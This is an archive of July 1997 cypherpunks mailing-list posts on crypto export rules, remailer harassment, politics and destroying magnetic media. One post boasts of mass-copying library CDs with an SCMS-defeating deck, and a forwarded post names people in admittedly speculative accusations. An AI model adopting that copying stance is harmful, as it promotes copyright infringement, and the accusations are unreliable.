>Copyright laws will do nothing to prevent the text from being distributed.
>All copyright laws will do is make you able to punish "offenders" after
>the fact.  They have no mystical value to "protect" anything, especially
>digital medium, which is easy to copy.
 
What makes this case especially awkward is the fact that the CDROM can't 
legally be sold outside the US, which means the only way the rest of the world 
can get it is through illegal copies.  Given the immense usefulness of 
something like this, I'd say it's only a matter of time before bootleg copies 
start appearing outside the US, but because of the USG's position we can't pay 
for it even if we want to (DDJ wouldn't look too good if they accepted payment 
for what they knew was illegally exported crypto).  Perhaps a donation of the 
same amount to charity would serve as some equivalent to payment...
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 2 Jul 1997 04:40:08 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <Pine.LNX.3.91.970630161745.749C-100000@fatmans.demon.co.uk>
Message-ID: <97Jul1.161438edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain




The difference is that there are no borders on the internet.  I can't move
a physical storefront, nor an account at a local bank, but my virtual
website and e-receipts can be 12 timezones and one hemisphere distant in a
few minutes.  Or even spread across 12 timezones and two hemispheres :).

Just starting with strong crypto in the sense of things like PGP, add
anonymous broadcast and M of N secret splitting and if the mind recovers
from the mathematical boggle, the societal implications will be there to
ponder.  If money or ownership of property is data, it will be
uncontrollable in a few years, if that.

On Mon, 30 Jun 1997, Paul Bradley wrote:
> 
> > juicy, but just as viable.  And Nazi Germany is also proof that strong
> > crypto really doesn't do much good when the rubber hoses can be
> > deployed without hinderance.
> 
> Strong crypto you must remember is only part of the solution. The reason 
> for the lack of direct response from the Jews during the holocaust was 
> the "legally elected" 3rd Reichs programme of disarming it`s citizens.
> 
> Strong crypto along with other communication technologies provide a 
> strong and secure framework within which armed resistance can take place, 
> these same technologies also allow for infowarfare type attacks on the 
> infrastructure of whole countries or jurisdictions.
> 
> > In fact, your safety and wealth depends in large measure on the
> > protections provided by that government you scorn.  In any healthy
> > tyranny the jackboots would have been on your throat long ago,
> > regardless of your little arsenal, and your money would be purchasing 
> > toys for the rulers.
> 
> Well, tax money already does purchase toys for the rulers and the 
> jackboots are moving towards our throats slowly so no-one notices. Safety 
> and wealth derive from free market economies and rights to self-defence, 
> not from a government.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 1 Jul 1997 19:46:26 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <v03007808afde3e5ff547@[207.94.249.152]>
Message-ID: <Pine.LNX.3.93.970701173346.710A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain




[Coderpunks removed as its off topic there.]

On Mon, 30 Jun 1997, Bill Frantz wrote:

> Date: Mon, 30 Jun 1997 21:57:39 -0700

[...]
> At 8:58 AM -0700 7/1/97, Peter Gutmann wrote:

> >What makes this case especially awkward is the fact that the CDROM can't
> >legally be sold outside the US, which means the only way the rest of the
> >world can get it is through illegal copies.  

IIRC if something is not published in australia within some time perod of
it getting published elsewhere interesting things happen to the
copy and publishing rights.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 2 Jul 1997 03:33:09 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
Message-ID: <19970701175103.2307.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



Citizen-Unit T.C. May wrote:
>(Somehow most people think it's OK that convicted felons lose their rights
>to vote and to have guns. (Once they're released, of course.) Do they think
>convicted felons no longer have religious freedom? Can no longer write as
>they wish? Jeesh.)

  Citizen-Unit May is coming dangerously close to thought-crime in this
message. The politically correct phrasing is as follows: 

  "Since convicted felons lose their rights to vote and to have guns, surely 
there is no reason why they shouldn't also lose their rights to free speech 
and religious freedom. We must protect the children from such dangers."

  This issue provides clear support for our long tradition of compromising
with the government on important issues - had we taken a "no compromise"
stand on felon's rights to vote and own guns then we would not now be able
to use that as justification for restricting further rights, just as prior
compromise on the First Amendment rights of "child pornographers" has given 
the government a neccesary stepping-stone for restricting freedom of speech 
of adult pornographers and other authorized enemies.

CompromiseMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 2 Jul 1997 09:11:32 +0800
To: cypherpunks@Algebra.COM
Subject: Clinton's Laissez-Faire Policy
Message-ID: <199707020051.RAA24644@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



Tuesday July 1 6:28 PM EDT 

Clinton Unveils 'Hands Off' Internet Strategy

WASHINGTON (Reuter) - Hailing the Internet as an engine for future
economic growth, President Clinton Tuesday unveiled a largely
laissez-faire policy to promote commerce in cyberspace unburdened by
new government taxes. 

See More at:

http://www.yahoo.com/headlines/970701/politics/stories/internet_6.html

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 2 Jul 1997 09:12:33 +0800
To: cypherpunks@Algebra.COM
Subject: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <v03102801afdf55bc34b9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:55 PM -0700 7/1/97, Anonymous wrote:

> I have never had any problem with someone recording a copy of my
>music from a purchased copy if they are a music lover with a thin
>pocket, or can't readily purchase it. If someone with a $2000.00
>stereo wants to enjoy the fruits of my labor without contributing
>any money to my health and welfare, then I consider them to be just
>another thief.

Well, my stereo system costs considerable more than $2000. And I copy CDs
whenever I can.

I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
jazz, country, you name it) onto more than 1000 DATs.

Given that a new CD typically costs about $16 US, and a blank DAT tape
costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
machines.)

We get these CDs by borrowing from friends (who haven't gotten into DATs
yet), and especially from libraries. My friend has library cards at more
than 6 library systems, covering about 20 actual library sites. Each has
thousands of CDs (though there is much duplication, and a lot of junk.)

And I now have a SCMS defeating DAT machine, a Tascam DA-P1, so I can
"mine" his collection of 4000+ CDs-on-DAT and make flawless digital copies.
(The copies from a CD are flawless with any dubbing that uses the digital
I/O, but DAT to DAT copies have been disabled on consumer-grade machines
with SCMS, the Serial Copy Management System. SCMS defeaters reset the SCMS
bits to allow any number of perfect copies.)

Technology liberates the bits.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@replay.com>
Date: Wed, 2 Jul 1997 01:47:22 +0800
To: cypherpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <199707011728.TAA02315@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Gutmann sez:
[..]
: What makes this case especially awkward is the fact that the CDROM can't 
: legally be sold outside the US, which means the only way the rest of the world 
: can get it is through illegal copies.  Given the immense usefulness of 
: something like this, I'd say it's only a matter of time before bootleg copies 
: start appearing outside the US, but because of the USG's position we can't pay 
: for it even if we want to (DDJ wouldn't look too good if they accepted payment 
: for what they knew was illegally exported crypto).  Perhaps a donation of the 
: same amount to charity would serve as some equivalent to payment...

It would be nice to see a Dr. Dobbs CD at the HIP ...


--
 -aj-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 2 Jul 1997 12:07:21 +0800
To: cypherpunks@Algebra.COM
Subject: Jeff's Side of the Story.
Message-ID: <199707020337.UAA17514@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain




There's been an ongoing discussion of the Huge Cojones remailer situation
on the related newsgroups.

This has a lot of relevance to our issues, and this is one of the more
illuminating articles.

--Tim


> From: toxic@hotwired.com (Jeff Burchell)
> Newsgroups:
alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,alt.cypherpunks,comp.org.eff.talk,news.admin.net-abuse.misc
> Subject: Jeff's Side of the Story.
> Followup-To:
alt.privacy.anon-server,alt.fan.steve-winter,alt.religion.scientology,alt.anonymous,misc.misc,alt.censorship,news.admin.censorship,comp.org.eff.talk,news.admin.net-abuse.misc
> Date: 1 Jul 1997 20:02:22 GMT
> Organization: Content, Inc
...
> 
> Anonymous (nobody@REPLAY.COM) wrote:
> 
> : > Only Jeff knows the whole story.
> 
> Actually, not even I know the whole story.  If I truely knew who it was
> that was orchestrating this attack, it would have stopped, one way or
> another.  The problem is, I don't know all the players (I have some 
> suspicions, which I'll elaborate on further in a little bit) but I don't
> _really_ know who did it, and I really don't know why (other than a "I
> don't like remailers, I think I'll shut one down").  And I really don't
> know the background or what precipitated this.
> 
> : > But I have to ask. Could this
> : > just be an" I'm sick of this shit, f**k it, I quit, who needs this
> : > aggravation, I'll just pull the plug and go have a beer" reaction
> : > to what really seems like a fairly small problem.
> 
> It is not a small problem anymore when you're getting >200 complaint 
> messages a day, plus 5-10 phone calls to your employer (and your
> employer's legal department).  Fortunately, Wired is a very progressive
> company, and supported my efforts to provide anonymity, but our lawyers
> aren't paid to answer phone calls on my behalf.  Running a remailer is
> one thing... getting harassed at work is an entirely different matter, and
> getting a THIRD PARTY harassed at work is yet another one.
> 
> But yes, The ultimate "take this thing down" decision was one made 
> because I was sick of this bullshit.  But you know what?  I volunteer
> my time, my computer equipment, and bandwidth that is given to me
> as part of my salary.  I do (well did) all of this because I believe
> that anonymity is a right, and because I have the capabilities of
> helping to provide anonymity to the masses.  When the remailer was
> self-sufficient (before the attacks started), it took maybe 10 minutes
> of my time a day, and minimal resources on my machine.  Afterwards, 
> even after I put in the auto-blocking feature (send a blank message 
> to a particular address and get your address blocked) and the 
> autoresponder on the remailer-admin account, I was still getting >100
> messages a day reporting abuse... almost all of it spam-bait related.
> I receive no benefit from running the remailer (I don't even use it
> myself), and when it becomes a fairly major hassle without any 
> rewards, the decision is not a hard one to make.
> 
> And frankly, I already have enough to do, and get enough mail on a
> daily basis (at last check it was hovering around 600 messages/day).
> As soon as the remailer started taking up a lot of my time, it became
> time to rethink why I was running it.  The moment that the spam-baiter
> started alerting people who had been baited, and telling them to 
> contact me, it became personal.  And I don't have time to get into 
> personal pissing-contests.  Yes, I took the easy way out, but that
> was my choice to make.
> 
> Anyone who doesn't run a remailer has very little right questioning my
>  choice, because you have no idea what precipitated it.  Most people
> reading this group have the capabilities of running a remailer (it only
> takes a POP account and a Windows machine to run the Winsock remailer), 
> but very few of us actually do.  Why is that?  I've been running huge.
> cajones for just under 2 years, and it averaged just over 3000 messages
> a day, so my remailer was responsible for about 2 million anonymous 
> messages in its lifetime.  I think I've done my part (at least for now), 
> it's time for someone else to do theirs.  If we had 15 disposable remailers
> that operated for 2-3 months each before moving/going away, we'd have
> paths for millions more anonymous messages.  And isn't that what we're
> really trying to provide?
> 
> : The first was doing questionable things, like installing content-based
> : filtering in an attempt to placate the attacker.  Giving in to the demands
> 
> When I first put the filters in, I was entirely unaware of exactly what
> the hell was going on.  It seemed that someone had a bone to pick with
> databasix, and was using the remailer to get databasix harassed by
> third parties.  So, Burnore's complaint seemed reasonable at the time, and
> I tried to come up with a way to block spam-bait abuse, without blocking
> anything else (like a reply to burnore in Usenet).
> 
> See, if someone was doing to me what they appeared to be doing to Burnore, 
> I would be pissed.  I figured placating him would be the best thing to
> do.  In hindsight, I was wrong, but at the time, it seemed like the correct
> decision.  (Also at the same time, the SPA threatened Wired with a 
> lawsuit because of The MailMasher, so things were a little tense between
> me and the legal department already, I didn't need to make them any worse.)
> 
> The final content-based-filter (there was an interim one) looked for the
>  following things:
> 
> 1. Any address at databasix (Yes, at the request of Burnore)
> 2. Any address from my destination block list
> 3. More than 5 addresses in a row, one line each, without other content
>    in-between.
> 4. Patterns of particular Usenet groups.
> 5. Particular subject lines.
> 
> If any THREE of these items were spotted, the message got thrown into a
> reject bin.  I periodically examined the reject bin, and can personally
> attest that it didn't block ANYTHING that it wasn't intended to.  (The
> test posts reeked of spam-bait to me, and I believe were correctly 
> blocked)
> 
> FWIW, the filters were removed about a week ago.
> 
> Because the filters were looking for a specific form of ABUSE, and not
> just doing basic pattern matches, I don't consider them to be "content
> filters".  I would think that just about anyone would agree that 
> posting lists of email addresses to mlm newsgroups would qualify 
> as abuse, and _should_ be blocked.   Blocking of this nature does NOT
> restrict free speech (or at least that is not the intentions of it), and
> it would keep the remailer out of lawsuit territory.
> 
> See, the big problem with lawsuits is not the fact that _I_ don't want
> to be sued.  The problem is that anyone with half a brain can determine
> that Wired is somehow related to any remailer that I am running on their
> bandwidth.  Wired has deeper pockets than Mr. Burchell, so they are a
> much better group to sue... and they are a lot more willing to give
> in to a threat than I am.
> 
> : What I *MIGHT* have done was to respond as follows:
> : 
> :    Your legal demands are unacceptable.  I'd rather close the remailer than
> :    compromise its integrity to suit your whims.  But understand this
-- unless
> :    you withdraw your demands, I will not only close the remailer but
also make
> :    damn sure all of its users know exactly who forced me to take this
action!
> 
> I did respond in a fashion much like this, about a week before the attacks
> started coming.  Mr. Burnore requested a copy of my (non-existant) logs.
> I told him to get me something in writing, signed by his lawyer that 
> stipulated that the logs were confidential, and not to be revealed to 
> anyone outside of the lawyer's office.
> 
> I received a letter from Belinda Bryan.  She is not registered with the
> State Bar of California, and is thus, not a California lawyer.  I then
> ignored the request, and forwarded the correspondence to the State 
> Attorney General's office (as impersonating a lawyer in CA is defined
> as fraud with extenuating circumstances).  They have been working with
> me and the San Francisco DA's office.  Look out DataBasix... I'm not done
> with you yet.
> 
> : The second mistake I perceive is not fully disclosing the circumstances that
> : brought down Huge Cajones, and *NAMING NAMES*.  That way, even if the
remailer
> : shuts down, other remailer operators will learn about the tactics employed
> : against it, know *WHO* made the demands, etc.  IOW, when you get an innocent
> : sounding, polite complaint from xxxx@yyy.com alleging "abuse", here's the
> : scenario that's likely to follow ...  (It's not too late to make that
> : disclosure, Jeff.)
> 
> In fact, now is the time to.  Making a disclosure like this while I 
> was still running the remailer would have probably been a bad move.
> Now that the remailer is closed, I'll name the names that I've got.
> 
> Beware... all of this is speculation, because huge.cajones was an 
> anonymous service, not even I can say with any authority that any
> of the people named below had anything to do with the shutdown of
> huge.cajones (or The MailMasher).  However, there are a number of
> coincidences of timing.
> 
> I still don't know what the hell is going on with DataBasix, Wells Fargo
> and Gary Burnore, but I suspect that someone used huge.cajones to say
> something extremely unflattering about Burnore (from what I can tell,
> he had it coming).  Burnore then decided that he would make things 
> difficult for me.  First, he wanted the user who had posted something
> "inflammatory" about him revealed.  When I told him that I couldn't 
> do that, he carried on about mail logs and identifying the host that
> a message came from (the usual).  I didn't explain to him that my 
> machine keeps logs, but not anything involving a *@cajones.com 
> address.  He then requested the logs, which I denied (and told him
> to get his lawyer to send a request...)
> 
> I'll admit, after my second or third contact with Mr. Burnore, I
> no longer was particularly civil with the guy.  He's a kook, and
> really didn't deserve my courtesy.
> 
> Between the time he first contacted me, and the time I received the
> letter from Belinda Bryan, is when the baiting of databasix addresses
> began (slowly, with just a few posts).  After a while, I received
> requests from the other members of DataBasix (including William McLatchie
> (sp) (aka wotan) who actually seems to be a remailer supporter (?)).
> 
> It was at this point that I realized something was completely amiss.
> I asked McLatchie to please tell me the story of DataBasix, and he
> said that he was going to, but never did.  Anyone who can tell me 
> the story is invited to do so.
> 
> As a side note (and just because I am naming names).  Peter Hartly 
> (hartley@hartley.on.ca) yesterday spam-baited me.  Fortunately, 
> I've got good filters in place.  
> 
> As another side note, I've seen nothing to make me believe that Belinda
> Bryan is even a real person.  Anyone?
> 
> : > Given the importance of what Jeff was doing, I hope that he
> : > did all that he could, before declaring defeat. If that is the case,
> : > I commend him for a job well done. If not, why?
> 
> I can't claim to have done _everything_ that I could have done, but I 
> did certainly make an effort.  I'm not willing to go to court to defend
> a practice like spam-baiting (and given the current public-opinion situation
> and impending anti-UCE legislation, this would be a terrible test-case).
> 
> I am not new to threats of lawsuit, even ones that come from legitimate
> lawyers.  About 8 months previous, I was threatened repeatedly by the 
> legal wing of the "Church" of Scientology.  I answered with a letter
> from my lawyer that explained the policies of the remailer, and 
> threatened a harrassment lawsuit if the "Church" contacted me again asking
> for information (that they now knew I didn't have) about a remailer user.
> They complied, and went away (and haven't been too difficult with 
> other remailer operators lately).  
> 
> : Agreed.  Otherwise, these "asshole(s)" are simply going to do it all over 
> : again against another remailer, eventually taking them all down one at
a time.  
> Except that right now, new remailers are springing up.  If we could get
> three more online for every one shut down, it wouldn't much matter, would
> it?  I may very well end up running a mailer again in the future, but if
> I do, it will probably be either a throwaway exit-man or a truely anonymous
> middleman (i.e. nobody will actually know who is running it).  It also
> will probably be hosted outside of the United States (Floating in 
> international waters with a sat feed would be nice).
> 
> : It's time for them to stand up and say "Next time you come for one of us
> : he's 
> : not going quietly as the others have.  You'll have to face ALL of us
at once, 
> : instead." 
> 
> Aah, you imagine much more solidarity among remailer operators than actually
> exists.  It doesn't work that way.  It would be nice if it did, but many of
> us are running remailers on borrowed bandwidth (or have other "situations"
> to be concerned about).  Being the squeaky wheel is not always a good idea
> for many of the operators (most of whom try to keep a low profile).  
> 
> The reality is, for all the good they do, remailers are tools that can 
> very easily be abused.  And, as the internet gets more and more commonplace,
> the average Joe and Joesphine, who don't have the strict Cyber-Libertarian
> viewpoints that are shared by most of us old-timers, will start to wonder
> just why anyone would want to run a service that allows anyone to speak their
> mind without fear of reprisal.  When you get people with more extreme
> viewpoints (the ones who have a really legitimate need for anonymity) posting
> all kinds of stuff to all kinds of places, it will get the attention of
> Middle-America, which will then bring it to the attention of legislators.
> Any time a legislator can say "This is a blow to Child Pornographers and 
> others who hide behind anonymity to commit crimes without fear of reprisal"
> you can guarantee that the bill will pass.
> 
> When that happens, we're in trouble.  America is scared of computers, and
> remailers are thought to be havens for the big 3 (Terrorists, Organized
> Crime and Child Pornographers).  Now that the spammers are involved 
> (spammers possibly being hated more than the big 3), most users are 
> exposed to anonymous remailers in negative ways (Imagine what you would
> think if the first time you heard about the existance of remailers, it
> was because someone had spam-baited you, and then told you about it).
> 
> The right to anonymity in the US will be legislated away within 18 months, 
> partially because of spam.  I do hope there's a _good_ test case waiting,
> and someone willing to fight it to the end, but I have my doubts.  Ultimately
> the remailer network will be forced to move offshore, the way Crypto 
> development currently has.
> 
> Don't like the News?  Go out and make some of your own.
> 
> -Jeff
> 
> |o|                                                   |o|
> |o| Jeff Burchell                     toxic@wired.com |o|
> |o|- - - - - - - - - - - - - - - - - - - - - - - - - -|o|
> |o|     I am not speaking for anyone but myself.      |o|
> |o|                                                   |o|

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 2 Jul 1997 13:12:56 +0800
To: cypherpunks@toad.com
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <3.0.2.32.19970701214609.03801e34@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
>Could someone please point me to a FAQ or somesuch about degaussing
>magnetic media? Thank you!

Mini-FAQ:
1. How do I degauss magnetic media so that the feds can no longer read my
data?

You don't. That's why the feds themselves don't degauss their magnetic
media for declassification purposes. They remove the oxide layer. In case
of floppies the preferred method is incineration, in case of hard drives,
the usual technique is sandblasting.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 2 Jul 1997 13:23:11 +0800
To: mlamarra@mitre.org (Michael Lamarra)
Subject: Re: Marc Andreessen on encryption and CDA
Message-ID: <3.0.32.19970701215737.006ac26c@best.com>
MIME-Version: 1.0
Content-Type: text/plain



yikes - this response makes me as nervous as any misguided government GAK
program.

Yes, why *should* the poorest and most starved people in the world have any
more than they do? It's a free world, ain't it?  They're free to avail
themselves of the latest in technology, health care, and education to
improve their lot aren't they?  

No, they're victims of transnational corporate wealth-displacement programs
funded by the IMF and World Bank, organizations which fatten tinpot
dicators' personal fortunes while forcing an export economy onto the weak,
stripping them of the power of self-sufficiency in order to feed corporate
Masters with no place and no conscience.

These people the ones who pick your fruit and vegetables; they're the ones
who make your designer sneakers and the silk ties and nice button-down
shirts you wear to your cubicle every day.  They're the ones who have no
voice, no power and no chance. They starve in order to feed and clothe and
entertain you, that's why. 

There are equitable balances of wealth distribution, and there are
unconscionable and indefensible ones.  I try to play a part is maintaining
a balance saner than that of a world dominated by people with your
response; I deliver boxes and bags of things I no longer need to Goodwill
and others; I wrote off as much as I could in charity donations last year;
my wife sponsors a child thru the Christian Childrens Fund; I try to
educate myself -- to learn why the peasants revolted in Chiapas, how GATT
and SNAFU -- oops I mean NAFTA -- really work and whom they really benefit.
 I write when I can to try to pass along some of what I learn.  

Do you continue giving when someone else has less than you do?  Absolutely.
I hope that you will eventually grow up and achieve some wisdom and
compassion.


At 12:06 PM 7/1/97 -0400, Michael Lamarra wrote:
>Hi,
>
>I'm curious - why should the 20% percent of the world's population own more
>wealth than they do now?  How are you identifying them and how much are you
>giving them?  After all, you probably own more than a vast number of
people on
>earth also.  I know that I do and I'm barely a thousandaire. Do I stop giving
>when someone has the same amount as me or do I continue because there is
>someone else who still has less? 
>
>Thanks,
>
>Mike
>
>I suppose that's why US displays the greatest income disparity between rich
>and poor of
>any of the industrialized nations?   Why some 10 or 20 billionaires
>collectively own more
>wealth than some 20% of the world's population? Or were you being sarcastic?
>
>At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote:
>>Ah, but what is a market except voluntary transactions between people?
>>What is good for the market is good for the people.
>>
>>-Declan
>>
>>On Mon, 30 Jun 1997 geeman@best.com wrote:
>>
>>> My biggest problem is when the pundits (and by extension, those that punt
>>> to them)
>>> frame this entire debate in terms of the Market.  To do so is to argue
that
>>> only solutions
>>> that are good for The Market are good solutions; that when a particular
>>> policy is market-agnostic
>>> or market-negative, even though it may be good policy for People (yes,
>>> remember them ???) it is irrelevant or
>>> bad.  This debate is NOT about the Worldwide Encryption Market!
>>> 
>>
>>
>>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 2 Jul 1997 13:23:47 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <3.0.2.32.19970701220247.03e5d100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
>
>Could someone please point me to a FAQ or somesuch about degaussing
>magnetic media? Thank you!

Electromagnetic pulse.  You want something as strong as possible.  About 10
megatons should generate a big enough pulse.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 2 Jul 1997 13:46:31 +0800
To: Duncan Frissell <declan@well.com>
Subject: Re: Marc Andreessen on encryption and CDA
Message-ID: <3.0.32.19970701221029.0068d7c0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



The point was that Marc Andreessen insists on framing the crypto debate in
terms of 
"The Market" -- the next statement was that that's OK because What's Good
for the Market is Good for the People.  My reply to that was "bullshit and
here's why"; don't take my word for the stats, go look them up, and I won't
go into the absolute correctness of your statement about "wealth" vs.
"securities" 

Bottom line is that there is tremendous evidence that what's good for the
Market is NOT at ALL good for 'the people' -- and that framing the crypto
debate in such terms makes the issues of civil liberties and the
empowerment of People irrelevant.  Now this may be a good political ploy
when playing the back rooms of Washington, but I'd wish for something better 
from someone from Netscape, one of the Big Voices in the debate.

At 01:37 PM 7/1/97 -0400, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>At 08:49 AM 7/1/97 -0700, geeman@best.com wrote:
>>I suppose that's why US displays the greatest income disparity between rich
>>and poor of
>>any of the industrialized nations?   
>
>We don't know if this is true because no statistical series captures all 
>"wealth."  The underground economy here is supposedly 15% but higher in much 
>of Europe.  Also no country includes public benefits in income calculations 
>although they are income and the higher US medical costs substantially 
>increase the total income of those receiving Medicaid.  Those comparisons
are 
>suspect because too much income is excluded from the calcs.
>
>>Why some 10 or 20 billionaires
>>collectively own more
>>wealth than some 20% of the world's population? Or were you being sarcastic?
>
>They don't.  They own more "securities."  If you total the discounted 
>(present) value of the future income stream of 20% of the earth's population 
>(adjusting for the probable massive income increases of the next 20 years of 
>extreme boom times), and you count the value of personal property it comes
to 
>more than the current wealth of the top billionaires who after all are 
>apparently worth less than a $trillion or two collectively.
>
>But I don't know what this all has to do with encryption policy, however.
>
>DCF 
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQCVAwUBM7lAc4VO4r4sgSPhAQEkSQP/Rs+XzPrzUQptgBWK+LLb+vmAMPcaBHWE
>Ww1PsYGqwo4W0Mlse0ynCGZfZdiIx+tlDbWbqYtvisNqeIYK8Qcn8K7b63ytZ1aN
>OPM/DshwQ0bpgQMoTXpMwGnZmB9e4/LGriZXMSmk+fkZvO2flmVuUMj+Vao+Bs+N
>xLZKAHYvXWw=
>=F09z
>-----END PGP SIGNATURE-----
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Megan McCormack <meganm@asis.com>
Date: Wed, 2 Jul 1997 13:54:11 +0800
To: cypherpunks@toad.com
Subject: non-US encryption
Message-ID: <3.0.32.19970701221735.00994bc0@asis.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm looking for a maillist for discussion of 
non-US encryption software. Their was one
at braae.ru.ac.za which now apears to be defunct.


Thanks,
Megan
    
   **************  Chop wood, carry water, check e-mail  ************
    
                             Megan McCormack 
    			   http://www.asis.com/~meganm 
			       
                             
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 2 Jul 1997 05:38:29 +0800
To: cypherpunks@toad.com
Subject: Re: NRA and National Online Records Check bullshit
Message-ID: <199707012111.XAA01109@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:

> However, the issue is very complex.  "The system" has a number of
> discretionary points -- variable sentencing regiems, time off for good
> behaviour, probation, parole -- all involve different levels of
> constraints on rights, all constitutional.

  No doubt the laws resulting in people going to jail for the
rest of their life for a "third felony" (i.e. - a $10.00 bad
check in Texas) are "constitutional."
  After the (black, go figure...) person was given a life
sentence for a $10.00 bad check, someone quoted the standard
justification, "It's not a _perfect_ system, but its the
best one we've got." (Hint: It was not the defendant who 
said this.)
  The rapist/murderers that we hear about being released
because of a lack of prison space wave cheery good-byes to
their marihuana smoking and bad-check writing pals as they
drive away from the prison.

  And the way this relates to encryption is...
  ...the rapist/murderers of the future might well be waving
goodby to the cryptographers, as well, since they rarely use
encryption, and thus might well have a shorter sentence than
their crypto-devil cellmate.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 2 Jul 1997 14:56:11 +0800
To: Alan Olsen <cypherpunks@Algebra.COM
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <v03007807afdfa4164e9d@[207.94.249.161]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
>At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
>>
>>Could someone please point me to a FAQ or somesuch about degaussing
>>magnetic media? Thank you!
>
>Electromagnetic pulse.  You want something as strong as possible.  About 10
>megatons should generate a big enough pulse.

It works better if you also expose it to the heat and blast.  :-)

In all seriousness, complete physical destruction of the media is the only
sure technique.  Lucky Green's sandblasting sounds like it should work
well.  Melting it into slag should also work.


-------------------------------------------------------------------------
